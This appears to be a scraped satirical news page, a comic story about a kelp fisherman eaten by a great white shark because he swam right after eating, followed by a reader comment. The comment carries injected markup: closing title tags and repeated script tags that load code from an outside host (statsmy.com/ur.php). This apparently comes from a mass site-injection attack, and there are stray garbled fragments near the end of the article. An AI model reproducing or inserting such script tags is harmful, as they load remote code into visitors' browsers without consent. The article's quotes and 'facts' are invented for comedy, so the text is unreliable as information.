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Man Who Doesn't Wait 30 Minutes to Swim After Eating is Killed by Shark
by Kris on 7/19/2006 (1)

Poor Jim now lies in the belly of the beast..
Many times people feel that having to wait 30 minutes to go swimming after eating is an old wives tale. Try and tell that Jim Trent... you can't, because he didn't wait and now his body lies in the belly of a great white shark.

"We had just eaten a delicious spaghetti dinner," said Jim's wife Gertrude. "I begged him not to go into the water, but his love for the ocean and fear of spending time alone with me was just too strong."

With a stomach full of pasta and a face covered in tomato sauce, the 42-year-old kelp fisherman waded into the coastal waters all the while mocking his terrified wife.

"Oooo, look at me, I'm swimming in the water and I just ate," he mocked. "I might get a cramp, I'm so scared!"

Jim swam out to an area of the ocean that was approximately 10 feet deep and began to pretend to have a cramp, clutching at his side and wilding flailing arms and legs.

"My side, it hurts so bad I might drown," he yelled. "I should have listened to my fat cousin wife and just stayed at home and knitted, why must I have been so brash!"

Gertrude stood on the beach watching her husband with an angry glare. As she did, a dark shape approached Jim. Gertrude screamed "Shark!" but the bloated Jim couldn't swim away fast enough.

The ocean soon turned a crimson shade of red. Some of it blood, most of it spaghetti sauce. Jim was gone and the terms of a longstanding tale were reinforced.

"Most likely, the shark was attracted by the excessive gas that Mr. Trent was releasing after eating such a filling meal," said local marine biologist Jeremy Salmon. "If he had waited 30 minutes, it would have died down and Jim would still be with us. Well, he probably would have still been with us... I guess it is possible he could have gotten into a car wreck or died in a fire since then, but he at least would have left the ocean alive."

"Sharks can smell blood and they can smell fresh food," said Salmon's fellow marine biologist Aaron Henry. "If I had came across a man full of fresh food in the ocean, I probably would have eaten him too. I don't blame the shark at all, it was just too tempting."

The shark that ate Jim, which the frightened locals often refer to as "The Shark That Ate Jim" is still at large in the area despite a reward of $100 to anyone that can travel back in time and kill the shark before it ate Jim.

"Far too often people eat and then swim without suffering terrible retributions," said lifeguard Danny Phelps. "Maybe now that someone has suffered a horrific death, people will finally take the warning seriously.""0" s0" style


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Comments

1. by travis wilde on 3/1/2007 4:52:29 PM
What does a kelp fisherman fish fo? how long did the shark wait after he ate Mt. Trent?tp:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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